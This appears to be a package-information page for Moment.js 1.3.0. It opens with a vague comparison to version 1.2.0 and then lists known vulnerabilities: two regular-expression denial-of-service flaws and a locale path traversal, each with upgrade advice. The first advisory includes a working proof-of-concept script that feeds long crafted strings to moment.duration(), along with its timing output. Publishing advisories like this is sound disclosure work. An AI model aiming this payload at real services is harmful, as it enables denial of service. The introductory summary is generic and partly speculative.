Moment.js 1.3.0 arrived on January 5th, 2012, a little over a month after version 1.2.0, released on December 6th, 2011. Both versions maintain the core promise of Moment.js: providing a straightforward and powerful way to manipulate and format dates in JavaScript without modifying the native Date object. Developers seeking a lightweight yet robust solution for date handling will find either version suitable, but the upgrade offers potentially bug fixes and some subtle improvements accumulated over that month.
While the provided data doesn't detail the specific changes, the rapid release cycle suggests potential bug fixes or minor enhancements rather than major API alterations. Since both versions share the same author, repository, and fundamental description, the core functionality remains consistent. The key benefit of Moment.js, exemplified in both releases, is its ease of use for tasks like parsing, formatting, and performing calculations with dates. Developers can easily add and subtract time, format dates into human-readable strings, and compare dates – all within a clean and intuitive API. The library's design prioritizes simplicity, making it a valuable tool for web development, particularly when dealing with complex date-related logic or displaying localized date formats. Consider exploring the release notes or commit history for a comprehensive list of changes for that period, if available, when deciding between versions.
All the vulnerabilities related to the version 1.3.0 of the package
Regular Expression Denial of Service in moment
Versions of moment prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into moment.duration().
var moment = require('moment');
var genstr = function (len, chr) {
var result = "";
for (i=0; i<=len; i++) {
result = result + chr;
}
return result;
}
for (i=20000;i<=10000000;i=i+10000) {
console.log("COUNT: " + i);
var str = '-' + genstr(i, '1')
console.log("LENGTH: " + str.length);
var start = process.hrtime();
moment.duration(str)
var end = process.hrtime(start);
console.log(end);
}
$ node moment.js
COUNT: 20000
LENGTH: 20002
[ 0, 618931029 ]
COUNT: 30001
LENGTH: 30003
[ 1, 401413894 ]
COUNT: 40002
LENGTH: 40004
[ 2, 437075303 ]
COUNT: 50003
LENGTH: 50005
[ 3, 824664804 ]
COUNT: 60004
LENGTH: 60006
[ 5, 651335262 ]
Please update to version 2.11.2 or later.
Regular Expression Denial of Service in moment
Affected versions of moment are vulnerable to a low severity regular expression denial of service when parsing dates as strings.
Update to version 2.19.3 or later.
Path Traversal: 'dir/../../filename' in moment.locale
This vulnerability impacts npm (server) users of moment.js, especially if user provided locale string, eg fr is directly used to switch moment locale.
This problem is patched in 2.29.2, and the patch can be applied to all affected versions (from 1.0.1 up until 2.29.1, inclusive).
Sanitize user-provided locale name before passing it to moment.js.
Are there any links users can visit to find out more?
If you have any questions or comments about this advisory: